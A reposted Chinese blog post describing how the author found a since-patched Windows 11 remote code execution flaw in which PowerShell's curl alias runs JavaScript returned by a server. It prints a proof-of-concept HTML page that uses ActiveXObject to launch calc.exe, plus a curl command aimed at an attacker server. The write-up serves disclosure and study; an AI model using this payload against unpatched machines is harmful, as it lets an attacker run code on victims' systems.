我是如何发现一个WindowsRCE的

admin 2026-01-09 03:07:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者发现Windows11PowerShell的curl别名实际上是Invoke-WebRequest,该命令会解析并执行服务器返回的JavaScript代码。攻击者可诱导用户在PowerShell中执行curl命令访问恶意网页,从而利用ActiveXObject实现远程代码执行。微软已修复该漏洞,但这反映了遗留设计导致的兼容性风险。 综合评分: 80 文章分类: 漏洞分析,漏洞POC,终端安全


cover_image

我是如何发现一个 Windows RCE 的

haidragon

安全狗的自我修养

2026年1月8日 12:04 湖南

官网:http://securitytech.cc/

#

没错,你刚刚在标题中看到的内容是真的——我确实和其他很多研究人员一起,在 Windows 11 最新版本 上发现了一个相当恐怖的远程代码执行(RCE)漏洞


引言(Introduction)

在这一切发生之前,我正在和 Daniel Stenberglibcurl 的作者)进行一次采访。 libcurl 是一个被广泛使用的工具。

我们当时在讨论 Bug Bounty 项目中的一些问题,并拿 HackerOne 上一个“糟糕报告”作为例子——这是他们几乎每天都会收到的那种低质量报告之一。

然而,这个报告本身非常奇怪,它暴露了一个相当诡异的问题。

按回车或点击查看大图

乍一看就能发现,这和真正的 curl 毫无关系,而是因为 PowerShell 里存在一个同名的 curl 别名(alias)

报告者提到 --version 参数无法使用,这是因为 PowerShell 里的这个 curl 根本不是 libcurl,行为完全不同。

然而,当我第一次看到这个报告时,复现步骤却让我产生了极大的兴趣

按回车或点击查看大图

假设你在本地 localhost:5000 上部署了一个 Web 应用,只返回如下 HTML:

<script>
&nbsp; alert(1);
</script>

然后在 PowerShell 中输入:

curl&nbsp;http://localhost:5000

结果是—— alert(1) 被执行了,并且你会看到一个非常诡异的弹窗!

按回车或点击查看大图

这对我来说简直是匪夷所思。 我完全无法理解,为什么在 Windows 上,仅仅执行一个命令行 curl,就会执行返回的 JavaScript

这太离谱了。

但我并没有停下测试,而是继续深入研究—— 我想看看,这玩意还能干到什么程度


漏洞本身(RCE)

按回车或点击查看大图

几天后,经过多轮测试,我终于构造出了一个 完整的 RCE PoC

攻击方式非常简单: 部署一个恶意 Web 页面,返回如下 JavaScript 代码:

<html>
<head>
<title>CVE-2025-54100 PoC</title>
<metahttp-equiv="X-UA-Compatible"content="IE=10"&nbsp;/>
</head>
<body>
<h1>PoC</h1>
<script>
try&nbsp;{
newActiveXObject("WScript.Shell").Run("calc.exe");
return;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch(e) {}
try&nbsp;{
newActiveXObject("Shell.Application").ShellExecute("calc.exe",&nbsp;"",&nbsp;"",&nbsp;"open",&nbsp;1);
return;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch(e) {}
&nbsp; &nbsp; &nbsp; }
</script>
</body>
</html>

随后,只要用户在 PowerShell 中执行:

curl&nbsp;http://攻击者服务器

计算器就会直接弹出来。

是的—— 远程代码执行,成功了。


漏洞披露(Vulnerability Disclosure)

按回车或点击查看大图

漏洞上报后,仅仅过了几天,微软就完成了修复,这个问题已经不再存在。

虽然修复方式多少有点“值得商榷”,但至少问题被解决了

一共有 5 位研究人员 独立发现了这个漏洞,非常感谢大家的努力——你们真的很棒!

你可以在这里看到所有研究人员的信息,如果你想自己验证,这里也有相关链接。

如果你想看完整分析视频,也可以去我的 YouTube 频道。


这个问题为什么会存在?

根本原因在于: Windows PowerShell 里的 curl,实际上调用的是 Invoke-WebRequest

而 Invoke-WebRequest居然会解析并执行返回的 JavaScript

说实话,这设计简直离谱。

但现实就是这样—— 如果直接移除它会破坏操作系统的一大堆兼容性,那就只能在上面“打补丁式防护”。

我们有时确实不得不依赖这些古老又不安全的代码, 这也是为什么这种愚蠢却严重的高危漏洞仍然会存在。

因为,我们已经无法彻底推翻那些早期、天真的设计错误了。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon《我是如何发现一个 Windows RCE 的》

请查收! 网络安全文章

请查收!

文章总结: 本文介绍CISP-DSO数据安全官认证报考指南,该认证无需前置证书,是数据安全管控能力的标杆。报考需满足学历及工龄要求,考试为线下笔试,70分及格,
评论:0   参与:  0